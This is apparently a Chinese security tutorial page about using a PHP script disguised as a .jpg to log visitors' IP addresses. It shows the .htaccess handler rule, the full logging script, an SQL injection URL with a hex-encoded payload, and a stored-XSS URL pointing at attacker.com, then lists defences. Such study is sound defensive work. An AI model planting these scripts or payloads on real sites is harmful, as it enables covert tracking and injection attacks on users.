首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> 網頁程式設計 >> PHP 程式設計 >> PHP 相關知識

PHP 利用圖片竊取訪客 IP 的原理與防範(安全科普)

     編輯:PHP 相關知識

⚠️ 安全警示:本文僅供技術原理分析與防禦參考,嚴禁用於非法獲取用戶隱私

攻擊者可通過偽裝圖片文件實際執行 PHP 代碼,在受害者瀏覽「圖片」時記錄其 IP 地址。理解攻擊鏈路有助於構建更安全的應用。

攻擊原理:.htaccess 重寫解析規則

在目標目錄放置 .htaccess,強制將 .jpg 交由 PHP 解析器處理:

AddHandler application/x-httpd-php5 .jpg

載體文件:grabber.jpg(實為 PHP 腳本)

<?php
$fh = fopen('ip_list.txt', 'a');
fwrite($fh, $_SERVER['REMOTE_ADDR'] . " ");
fclose($fh);

// 輸出一張真實圖片掩人耳目
$im = imagecreatefromjpeg("n00b.png");
header('Content-Type: image/jpeg');
imagejpeg($im);
imagedestroy($im);
?>

配合同目錄下的真實圖片 n00b.png,訪問 grabber.jpg 時:

  1. Apache 按 .htaccess 規則交給 PHP 解析
  2. 腳本記錄 $_SERVER['REMOTE_ADDR'] 到文本文件
  3. 輸出正常圖片二進制,受害者毫無感知

變種攻擊向量

SQL 注入載荷

https://target.com/vuln.php?id=1' union select 1,0x3c696d67207372633d22...jpg223e,3#

將惡意圖片 URL 注入數據庫,後台管理員查看數據時觸發載荷。

XSS 存儲型

https://target.com/xss.php?name=<img src="https://attacker.com/grabber.jpg">

利用未過濾的輸出點,使所有訪問該頁面的用戶自動請求攻擊者圖片。

防禦建議

  • 禁用用戶目錄 PHP 解析: Nginx/Apache 配置 php_flag engine off 或 SetHandler none 禁止上傳目錄執行腳本。
  • 文件上傳白名單驗證: 僅允許真實圖片 MIME(通過 getimagesize()、finfo 二次校驗),重命名存儲(去除原始擴展名)。
  • Content-Security-Policy: 限制 img-src 僅信任自有域名/CDN。
  • 輸出編碼/過濾: 徹底過濾用戶輸入中的 HTML 標籤屬性,防止 XSS 注入外部圖片。
  • 日誌審計: 監控異常高頻圖片請求、非預期的 .htaccess 修改。

社區類網站允許用戶發布圖片是常態,開發者必須從上傳、存儲、分發全鏈路構建防禦體系,切勿僅依賴前端校驗。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved